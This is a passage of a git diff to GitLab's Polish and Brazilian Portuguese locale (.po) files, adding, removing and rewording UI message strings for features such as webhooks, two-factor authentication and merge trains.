msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr "Połączenie upłynie po %{timeout}. W przypadku repozytoriów, którym zajmuje to dłużej, użyj kombinacji klonuj/pchnij."
@@ -24265,6 +24933,12 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The following %{user} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "The following %{user} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "The following items will NOT be exported:"
msgstr ""
@@ -24368,13 +25042,13 @@ msgstr ""
msgid "The number of changes to be fetched from GitLab when cloning a repository. This can speed up Pipelines execution. Keep empty or set to 0 to disable shallow clone by default and make GitLab CI fetch all branches and tags each time."
msgstr ""
-msgid "The number of merge requests merged to the master branch by month."
+msgid "The number of merge requests merged by month."
msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
-msgid "The one place for your designs"
+msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
msgid "The passphrase required to decrypt the private key. This is optional and the value is encrypted at rest."
@@ -24413,6 +25087,9 @@ msgstr ""
msgid "The project can be accessed without any authentication."
msgstr ""
+msgid "The project has already been added to your dashboard."
+msgstr ""
+
msgid "The project is accessible only by members of the project. Access must be granted explicitly to each user."
msgstr ""
@@ -24530,6 +25207,9 @@ msgstr ""
msgid "There are currently no events."
msgstr ""
+msgid "There are merge conflicts"
+msgstr ""
+
msgid "There are no %{replicableTypeName} to show"
msgstr ""
@@ -24605,12 +25285,15 @@ msgstr ""
msgid "There is already a repository with that name on disk"
msgstr ""
-msgid "There is no data available."
+msgid "There is no chart data available."
msgstr ""
msgid "There is no data available. Please change your selection."
msgstr ""
+msgid "There is no table data available."
+msgstr ""
+
msgid "There is too much data to calculate. Please change your selection."
msgstr ""
@@ -24623,6 +25306,9 @@ msgstr ""
msgid "There was a problem fetching labels."
msgstr ""
+msgid "There was a problem fetching milestones."
+msgstr ""
+
msgid "There was a problem fetching project branches."
msgstr ""
@@ -24773,19 +25459,19 @@ msgstr ""
msgid "There was an error when unsubscribing from this label."
msgstr ""
-msgid "There was an error while fetching value stream analytics data."
+msgid "There was an error while fetching the chart data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration data."
+msgid "There was an error while fetching the table data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration median data."
+msgid "There was an error while fetching value stream analytics %{requestTypeName} data."
msgstr ""
-msgid "There was an error while fetching value stream analytics recent activity data."
+msgid "There was an error while fetching value stream analytics data."
msgstr ""
-msgid "There was an error while fetching value stream analytics time summary data."
+msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
@@ -24809,6 +25495,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuableType} is confidential"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -24839,7 +25528,7 @@ msgstr ""
msgid "This action can lead to data loss. To prevent accidental actions we ask you to confirm your intention."
msgstr ""
-msgid "This action cannot be undone. You will lose the project's respository and all conent: issues, merge requests, etc."
+msgid "This action cannot be undone. You will lose the project's repository and all content: issues, merge requests, etc."
msgstr ""
msgid "This action will %{strongOpen}permanently delete%{strongClose} %{codeOpen}%{project}%{codeClose} %{strongOpen}immediately%{strongClose}, including its repositories and all content: issues, merge requests, etc."
@@ -25013,9 +25702,6 @@ msgstr ""
msgid "This is your current session"
msgstr ""
-msgid "This issue is confidential"
-msgstr ""
-
msgid "This issue is currently blocked by the following issues: %{issues}."
msgstr ""
@@ -25178,15 +25864,15 @@ msgstr ""
msgid "This project does not have a wiki homepage yet"
msgstr ""
-msgid "This project does not have billing enabled. To create a cluster, <a href=%{linkToBilling} target=\"_blank\" rel=\"noopener noreferrer\">enable billing <i class=\"fa fa-external-link\" aria-hidden=\"true\"></i></a> and try again."
-msgstr ""
-
msgid "This project has no active access tokens."
msgstr ""
msgid "This project is archived and cannot be commented on."
msgstr ""
+msgid "This project manages its dependencies using %{strong_start}%{manager_name}%{strong_end}"
+msgstr ""
+
msgid "This project path either does not exist or you do not have access."
msgstr ""
@@ -25247,6 +25933,9 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
+msgid "This will clear repository check states for ALL projects in the database. This cannot be undone. Are you sure?"
+msgstr ""
+
msgid "This will help us personalize your onboarding experience."
msgstr ""
@@ -25624,9 +26313,6 @@ msgstr ""
msgid "To define internal users, first enable new users set to external"
msgstr ""
-msgid "To enable it and see User Cohorts, visit %{application_settings_link_start}application settings%{application_settings_link_end}."
-msgstr ""
-
msgid "To further protect your account, consider configuring a %{mfa_link_start}two-factor authentication%{mfa_link_end} method."
msgstr ""
@@ -25711,9 +26397,15 @@ msgstr ""
msgid "To unsubscribe from this issue, please paste the following link into your browser:"
msgstr ""
+msgid "To update Snippets with multiple files, you must use the `files` parameter"
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
msgstr ""
+msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
+msgstr ""
+
msgid "To view the roadmap, add a start or due date to one of your epics in this group or its subgroups. In the months view, only epics in the past month, current month, and next 5 months are shown."
msgstr ""
@@ -25735,9 +26427,6 @@ msgstr ""
msgid "Today"
msgstr ""
-msgid "Toggle Kubernetes cluster"
-msgstr ""
-
msgid "Toggle Markdown preview"
msgstr ""
@@ -25798,6 +26487,9 @@ msgstr ""
msgid "Toggles :%{name}: emoji award."
msgstr ""
+msgid "Token valid until revoked"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -25942,6 +26634,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger manual job"
+msgstr ""
+
msgid "Trigger pipelines for mirror updates"
msgstr ""
@@ -26011,9 +26706,18 @@ msgstr ""
msgid "Turn On"
msgstr ""
+msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
+msgstr ""
+
msgid "Turn on Service Desk"
msgstr ""
+msgid "Turn on usage ping"
+msgstr ""
+
+msgid "Turn on usage ping to review instance-level analytics."
+msgstr ""
+
msgid "Twitter"
msgstr ""
@@ -26029,10 +26733,22 @@ msgstr ""
msgid "Two-factor Authentication Recovery codes"
msgstr ""
-msgid "Two-factor Authentication has been disabled for this user"
+msgid "Two-factor authentication"
msgstr ""
-msgid "Two-factor authentication"
+msgid "Two-factor authentication disabled"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for this user"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for your GitLab account."
+msgstr ""
+
+msgid "Two-factor authentication has been disabled successfully!"
+msgstr ""
+
+msgid "Two-factor authentication is not enabled for this user"
msgstr ""
msgid "Type"
@@ -26215,7 +26931,7 @@ msgstr ""
msgid "Unlock the discussion"
msgstr ""
-msgid "Unlock this %{issuableDisplayName}? <strong>Everyone</strong> will be able to comment."
+msgid "Unlock this %{issuableDisplayName}? %{strongStart}Everyone%{strongEnd} will be able to comment."
msgstr ""
msgid "Unlocked"
@@ -26305,6 +27021,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused, previous index '%{index_name}' will be deleted after %{time} automatically."
+msgstr ""
+
msgid "Unverified"
msgstr ""
@@ -26386,9 +27105,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated at"
-msgstr ""
-
msgid "Updated to %{linkStart}chart v%{linkEnd}"
msgstr ""
@@ -26404,7 +27120,7 @@ msgstr ""
msgid "Upgrade your plan"
msgstr ""
-msgid "Upgrade your plan to activate Advanced Global Search."
+msgid "Upgrade your plan to activate Advanced Search."
msgstr ""
msgid "Upgrade your plan to activate Audit Events."
@@ -26479,7 +27195,7 @@ msgstr ""
msgid "Usage"
msgstr ""
-msgid "Usage ping is not enabled"
+msgid "Usage ping is off"
msgstr ""
msgid "Usage statistics"
@@ -26569,9 +27285,6 @@ msgstr ""
msgid "Use %{code_start}::%{code_end} to create a %{link_start}scoped label set%{link_end} (eg. %{code_start}priority::1%{code_end})"
msgstr ""
-msgid "Use %{native_redirect_uri} for local tests"
-msgstr ""
-
msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
msgstr ""
@@ -26623,9 +27336,6 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
-msgid "User Cohorts are only shown when the %{usage_ping_link_start}usage ping%{usage_ping_link_end} is enabled."
-msgstr ""
-
msgid "User IDs"
msgstr ""
@@ -26869,9 +27579,15 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
+msgid "Users requesting access to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
msgid "Users were successfully added."
msgstr ""
+msgid "Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "Users with a Guest role or those who don't belong to any projects or groups don't count towards seats in use."
msgstr ""
@@ -26905,6 +27621,9 @@ msgstr ""
msgid "Validate"
msgstr ""
+msgid "Validate your GitLab CI configuration"
+msgstr ""
+
msgid "Validate your GitLab CI configuration file"
msgstr ""
@@ -26941,6 +27660,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStream|The Default Value Stream cannot be deleted"
+msgstr ""
+
msgid "Variable"
msgstr ""
@@ -26983,6 +27705,12 @@ msgstr ""
msgid "Version"
msgstr ""
+msgid "Version %{versionNumber}"
+msgstr ""
+
+msgid "Version %{versionNumber} (latest)"
+msgstr ""
+
msgid "View Documentation"
msgstr ""
@@ -27189,6 +27917,9 @@ msgstr ""
msgid "Vulnerabilities over time"
msgstr ""
+msgid "Vulnerability Report"
+msgstr ""
+
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
@@ -27252,9 +27983,6 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong while trying to unlink the issue. Please try again later."
msgstr ""
-msgid "VulnerabilityManagement|Something went wrong, could not create an issue."
-msgstr ""
-
msgid "VulnerabilityManagement|Something went wrong, could not get user."
msgstr ""
@@ -27396,7 +28124,7 @@ msgstr ""
msgid "We sent you an email with reset password instructions"
msgstr ""
-msgid "We tried to automatically renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
+msgid "We tried to automatically renew your subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
msgstr ""
msgid "We want to be sure it is you, please confirm you are not a robot."
@@ -27441,6 +28169,90 @@ msgstr ""
msgid "Webhooks have moved. They can now be found under the Settings menu."
msgstr ""
+msgid "Webhooks|Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Issues events"
+msgstr ""
+
+msgid "Webhooks|Deployment events"
+msgstr ""
+
+msgid "Webhooks|Enable SSL verification"
+msgstr ""
+
+msgid "Webhooks|Issues events"
+msgstr ""
+
+msgid "Webhooks|Job events"
+msgstr ""
+
+msgid "Webhooks|Merge request events"
+msgstr ""
+
+msgid "Webhooks|Pipeline events"
+msgstr ""
+
+msgid "Webhooks|Push events"
+msgstr ""
+
+msgid "Webhooks|SSL verification"
+msgstr ""
+
+msgid "Webhooks|Secret Token"
+msgstr ""
+
+msgid "Webhooks|Tag push events"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered by a push to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a confidential issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a deployment is finished/failed/canceled"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a merge request is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a new tag is pushed to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a wiki page is created/updated"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when an issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment on a confidential issue"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the job status changes"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the pipeline status changes"
+msgstr ""
+
+msgid "Webhooks|Trigger"
+msgstr ""
+
+msgid "Webhooks|URL"
+msgstr ""
+
+msgid "Webhooks|Use this token to validate received payloads. It will be sent with the request in the X-Gitlab-Token HTTP header."
+msgstr ""
+
+msgid "Webhooks|Wiki Page events"
+msgstr ""
+
msgid "Wednesday"
msgstr ""
@@ -27462,21 +28274,21 @@ msgstr ""
msgid "Welcome to GitLab"
msgstr ""
-msgid "Welcome to GitLab %{name}!"
+msgid "Welcome to GitLab%{br_tag}%{name}!"
msgstr ""
msgid "Welcome to GitLab, %{first_name}!"
msgstr ""
-msgid "Welcome to GitLab.com%{br_tag}@%{name}!"
-msgstr ""
-
msgid "Welcome to the guided GitLab tour"
msgstr ""
msgid "Welcome to your Issue Board!"
msgstr ""
+msgid "Welcome to your issue board!"
+msgstr ""
+
msgid "We’ve been making changes to %{featureName} and we’d love your feedback %{linkStart}in this issue%{linkEnd} to help us improve the experience."
msgstr ""
@@ -27486,6 +28298,9 @@ msgstr ""
msgid "What describes you best?"
msgstr ""
+msgid "What's new at GitLab"
+msgstr ""
+
msgid "What’s your experience level?"
msgstr ""
@@ -27805,10 +28620,10 @@ msgstr ""
msgid "You are connected to the Prometheus server, but there is currently no data to display."
msgstr ""
-msgid "You are going to remove %{group_name}, this will also remove all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to delete %{project_full_name}. Deleted projects CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
-msgid "You are going to remove %{project_full_name}. Removed project CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to remove %{group_name}, this will also delete all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
msgid "You are going to remove the fork relationship from %{project_full_name}. Are you ABSOLUTELY sure?"
@@ -27817,6 +28632,12 @@ msgstr ""
msgid "You are going to transfer %{project_full_name} to another owner. Are you ABSOLUTELY sure?"
msgstr ""
+msgid "You are going to turn off the confidentiality. This means %{strongStart}everyone%{strongEnd} will be able to see and leave a comment on this %{issuableType}."
+msgstr ""
+
+msgid "You are going to turn on the confidentiality. This means that only team members with %{strongStart}at least Reporter access%{strongEnd} are able to see and leave comments on the %{issuableType}."
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -27826,6 +28647,9 @@ msgstr ""
msgid "You are not authorized to perform this action"
msgstr ""
+msgid "You are not authorized to update this scanner profile"
+msgstr ""
+
msgid "You are now impersonating %{username}"
msgstr ""
@@ -27862,9 +28686,6 @@ msgstr ""
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
-msgid "You can also use project access tokens to authenticate against Git over HTTP."
-msgstr ""
-
msgid "You can always edit this later"
msgstr ""
@@ -27898,13 +28719,13 @@ msgstr ""
msgid "You can get started by cloning the repository or start adding files to it with one of the following options."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong> or invite another group."
+msgid "You can invite a new member to %{project_name} or invite another group."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong>."
+msgid "You can invite a new member to %{project_name}."
msgstr ""
-msgid "You can invite another group to <strong>%{project_name}</strong>."
+msgid "You can invite another group to %{project_name}."
msgstr ""
msgid "You can move around the graph by using the arrow keys."
@@ -27988,10 +28809,10 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
+msgid "You didn't renew your subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription so it was downgraded to the GitLab Core Plan."
+msgid "You didn't renew your subscription so it was downgraded to the GitLab Core Plan."
msgstr ""
msgid "You do not have an active license"
@@ -28204,6 +29025,9 @@ msgstr ""
msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
msgstr ""
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "You'll be signed out from your current account automatically."
msgstr ""
@@ -28279,7 +29103,7 @@ msgstr ""
msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
msgstr ""
-msgid "Your DevOps Score gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
+msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -28396,6 +29220,9 @@ msgstr ""
msgid "Your instance has %{remaining_user_count} users remaining of the %{total_user_count} included in your subscription. You can add more users than the number included in your license, and we will include the overage in your next bill."
msgstr ""
+msgid "Your instance has exceeded your subscription's licensed user count."
+msgstr ""
+
msgid "Your instance is approaching its licensed user count"
msgstr ""
@@ -28526,6 +29353,9 @@ msgstr ""
msgid "among other things"
msgstr ""
+msgid "and"
+msgstr ""
+
msgid "any-approver for the merge request already exists"
msgstr ""
@@ -28830,12 +29660,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "confidentiality|You are going to turn off the confidentiality. This means <strong>everyone</strong> will be able to see and leave a comment on this issue."
-msgstr ""
-
-msgid "confidentiality|You are going to turn on the confidentiality. This means that only team members with <strong>at least Reporter access</strong> are able to see and leave comments on the issue."
-msgstr ""
-
msgid "connecting"
msgstr ""
@@ -28998,6 +29822,13 @@ msgstr ""
msgid "from"
msgstr ""
+msgid "from %d job"
+msgid_plural "from %d jobs"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "group"
msgstr ""
@@ -29043,9 +29874,6 @@ msgstr ""
msgid "in project %{link_to_project}"
msgstr ""
-msgid "index"
-msgstr ""
-
msgid "instance completed"
msgid_plural "instances completed"
msgstr[0] ""
@@ -29089,6 +29917,9 @@ msgstr ""
msgid "is not allowed. Try again with a different email address, or contact your GitLab admin."
msgstr ""
+msgid "is not allowed. We do not currently support project-level iterations"
+msgstr ""
+
msgid "is not an email you own"
msgstr ""
@@ -29240,9 +30071,15 @@ msgstr ""
msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
msgstr ""
+msgid "mrWidget|A new merge train has started and this merge request is the first of the queue."
+msgstr ""
+
msgid "mrWidget|Added to the merge train by"
msgstr ""
+msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
+msgstr ""
+
msgid "mrWidget|Allows commits from members who can merge to the target branch"
msgstr ""
@@ -29255,6 +30092,9 @@ msgstr ""
msgid "mrWidget|An error occurred while submitting your approval."
msgstr ""
+msgid "mrWidget|Approval is optional"
+msgstr ""
+
msgid "mrWidget|Approval password is invalid."
msgstr ""
@@ -29327,9 +30167,6 @@ msgstr ""
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
-msgid "mrWidget|In the merge train at position %{mergeTrainPosition}"
-msgstr ""
-
msgid "mrWidget|Jump to first unresolved thread"
msgstr ""
@@ -29363,12 +30200,6 @@ msgstr ""
msgid "mrWidget|More information"
msgstr ""
-msgid "mrWidget|No approval required"
-msgstr ""
-
-msgid "mrWidget|No approval required; you can still approve"
-msgstr ""
-
msgid "mrWidget|Open in Web IDE"
msgstr ""
@@ -29450,19 +30281,19 @@ msgstr ""
msgid "mrWidget|There are merge conflicts"
msgstr ""
-msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
+msgid "mrWidget|This action will add the merge request to the merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|This action will start a merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request is in the process of being merged"
+msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
msgstr ""
-msgid "mrWidget|This merge request will be added to the merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|This merge request will start a merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request is in the process of being merged"
msgstr ""
msgid "mrWidget|This project is archived, write access has been disabled"
@@ -29682,6 +30513,9 @@ msgstr ""
msgid "quick actions"
msgstr ""
+msgid "recent activity"
+msgstr ""
+
msgid "register"
msgstr ""
@@ -29728,9 +30562,6 @@ msgstr ""
msgid "satisfied"
msgstr ""
-msgid "score"
-msgstr ""
-
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -29848,6 +30679,9 @@ msgstr ""
msgid "this document"
msgstr ""
+msgid "time summary"
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -29866,6 +30700,9 @@ msgstr ""
msgid "triggered"
msgstr ""
+msgid "two-factor authentication settings"
+msgstr ""
+
msgid "unicode domains should use IDNA encoding"
msgstr ""
@@ -29929,6 +30766,9 @@ msgstr ""
msgid "vulnerability|Add comment & dismiss"
msgstr ""
+msgid "vulnerability|Add comment and dismiss"
+msgstr ""
+
msgid "vulnerability|Dismiss vulnerability"
msgstr ""
diff --git a/locale/pt_BR/gitlab.po b/locale/pt_BR/gitlab.po
index e3af87a3ece..fded4daa217 100644
--- a/locale/pt_BR/gitlab.po
+++ b/locale/pt_BR/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: pt-BR\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-08-06 13:38\n"
+"PO-Revision-Date: 2020-09-04 23:02\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -56,13 +56,13 @@ msgstr[1] " melhorado em %d pontos"
msgid " or "
msgstr " ou "
-msgid " or <!merge request id>"
-msgstr " ou <!merge request id>"
+msgid " or %{emphasisStart}!merge request id%{emphasisEnd}"
+msgstr ""
-msgid " or <#issue id>"
-msgstr " ou <#issue id>"
+msgid " or %{emphasisStart}#issue id%{emphasisEnd}"
+msgstr ""
-msgid " or <&epic id>"
+msgid " or %{emphasisStart}&epic id%{emphasisEnd}"
msgstr ""
msgid " or references (e.g. path/to/project!merge_request_id)"
@@ -71,6 +71,9 @@ msgstr " ou referências (ex. caminho/para/projeto!merge_request_id)"
msgid "\"%{path}\" did not exist on \"%{ref}\""
msgstr ""
+msgid "\"el\" parameter is required for createInstance()"
+msgstr ""
+
msgid "%d Scanned URL"
msgid_plural "%d Scanned URLs"
msgstr[0] ""
@@ -297,6 +300,9 @@ msgstr[1] "%s commits adicionais foram omitidos para prevenir problemas de perfo
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr "%{actionText} & %{openOrClose} %{noteable}"
+msgid "%{address} is an invalid IP address range"
+msgstr ""
+
msgid "%{author_link} wrote:"
msgstr ""
@@ -333,6 +339,9 @@ msgstr ""
msgid "%{cores} cores"
msgstr "%{cores} núcleos"
+msgid "%{count} %{scope} for term '%{term}'"
+msgstr ""
+
msgid "%{count} LOC/commit"
msgstr "%{count} LOC/commit"
@@ -389,6 +398,9 @@ msgstr ""
msgid "%{description}- Sentry event: %{errorUrl}- First seen: %{firstSeen}- Last seen: %{lastSeen} %{countLabel}: %{count}%{userCountLabel}: %{userCount}"
msgstr ""
+msgid "%{due_date} (Past due)"
+msgstr ""
+
msgid "%{duration}ms"
msgstr "%{duration}ms"
@@ -416,7 +428,7 @@ msgstr "%{firstLabel} +%{labelCount} mais"
msgid "%{firstMilestoneName} + %{numberOfOtherMilestones} more"
msgstr ""
-msgid "%{global_id} is not a valid id for %{expected_type}."
+msgid "%{global_id} is not a valid ID for %{expected_type}."
msgstr ""
msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
@@ -503,9 +515,6 @@ msgstr "%{level_name} não é permitido em um grupo %{group_level_name}."
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr "%{level_name} não é permitido, pois o projeto de origem do fork possui menor visibilidade."
-msgid "%{lineOneStart}Drag and drop to upload your designs%{lineOneEnd} or %{linkStart}click to upload%{linkEnd}."
-msgstr ""
-
msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
@@ -524,6 +533,9 @@ msgstr ""
msgid "%{loadingIcon} Started"
msgstr "%{loadingIcon} Iniciado"
+msgid "%{location} is missing required keys: %{keys}"
+msgstr ""
+
msgid "%{lock_path} is locked by GitLab User %{lock_user_id}"
msgstr "%{lock_path} está bloqueado pelo usuário do GitLab %{lock_user_id}"
@@ -533,6 +545,18 @@ msgstr ""
msgid "%{mergeLength}/%{usersLength} can merge"
msgstr ""
+msgid "%{message} showing first %{warnings_displayed}"
+msgstr ""
+
+msgid "%{milestone_name} (Past due)"
+msgstr ""
+
+msgid "%{milestone} (expired)"
+msgstr ""
+
+msgid "%{milliseconds}ms"
+msgstr ""
+
msgid "%{mrText}, this issue will be closed automatically."
msgstr "%{mrText}, essa issue foi fechada automaticamente."
@@ -645,6 +669,9 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}"
msgstr ""
+msgid "%{seconds}s"
+msgstr ""
+
msgid "%{securityScanner} is not enabled for this project. %{linkStart}More information%{linkEnd}"
msgid_plural "%{securityScanner} are not enabled for this project. %{linkStart}More information%{linkEnd}"
msgstr[0] ""
@@ -670,6 +697,9 @@ msgstr "%{size} MiB"
msgid "%{size} bytes"
msgstr "%{size} bytes"
+msgid "%{sourceBranch} into %{targetBranch}"
+msgstr ""
+
msgid "%{spammable_titlecase} was submitted to Akismet successfully."
msgstr "%{spammable_titlecase} foi enviado para Akismet com sucesso."
@@ -685,6 +715,9 @@ msgstr ""
msgid "%{state} epics"
msgstr "%{state} épicos"
+msgid "%{strongStart}Deletes%{strongEnd} source branch"
+msgstr ""
+
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
@@ -758,6 +791,9 @@ msgstr ""
msgid "%{totalWeight} total weight"
msgstr ""
+msgid "%{total_warnings} warning(s) found:"
+msgstr ""
+
msgid "%{total} open issue weight"
msgstr ""
@@ -791,6 +827,9 @@ msgstr ""
msgid "%{webhooks_link_start}%{webhook_type}%{link_end} enable you to send notifications to web applications in response to events in a group or project. We recommend using an %{integrations_link_start}integration%{link_end} in preference to a webhook."
msgstr ""
+msgid "&lt; 1 hour"
+msgstr ""
+
msgid "&lt;no name set&gt;"
msgstr ""
@@ -800,7 +839,22 @@ msgstr ""
msgid "&lt;project name&gt;"
msgstr ""
-msgid "'%{data}' is invalid at '%{data_pointer}'. Should be '%{schema}' due to schema definition at '%{schema_pointer}'"
+msgid "'%{data}' at %{location} does not match format: %{format}"
+msgstr ""
+
+msgid "'%{data}' at %{location} does not match pattern: %{pattern}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is invalid: error_type=%{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not of type: %{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not one of: %{enum}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not: %{const}"
msgstr ""
msgid "'%{level}' is not a valid visibility level"
@@ -844,6 +898,9 @@ msgstr "(fonte externa)"
msgid "(line: %{startLine})"
msgstr ""
+msgid "(max size 15 MB)"
+msgstr ""
+
msgid "(removed)"
msgstr "(removido)"
@@ -1042,15 +1099,6 @@ msgstr "8 horas"
msgid ":%{startLine} to %{endLine}"
msgstr ""
-msgid "< 1 hour"
-msgstr ""
-
-msgid "<project name>"
-msgstr ""
-
-msgid "<strong>Deletes</strong> source branch"
-msgstr "<strong>Apagar</strong> branch de origem"
-
msgid "A 'Runner' is a process which runs a job. You can set up as many Runners as you need."
msgstr "'Runner' é um processo que executa uma tarefa. Você pode configurar quantos Runners você precisar."
@@ -1114,7 +1162,7 @@ msgstr "Um membro da equipe de abusos irá rever a sua avaliação assim que pos
msgid "A merge request approval is required when a security report contains a new vulnerability of high, critical, or unknown severity."
msgstr "Uma aprovação de merge request é necessária quando um relatório de segurança contém uma nova vulnerabilidade de severidade alta, crítica, ou desconhecida."
-msgid "A merge request approval is required when the license compliance report contains a blacklisted license."
+msgid "A merge request approval is required when the license compliance report contains a denied license."
msgstr ""
msgid "A new Auto DevOps pipeline has been created, go to %{pipelines_link_start}Pipelines page%{pipelines_link_end} for details"
@@ -1132,6 +1180,9 @@ msgstr "Um novo \"branch\" será criado no seu \"fork\" e um novo merge request
msgid "A new impersonation token has been created."
msgstr "Um novo token de representação foi criado."
+msgid "A non-confidential epic cannot be assigned to a confidential parent epic"
+msgstr ""
+
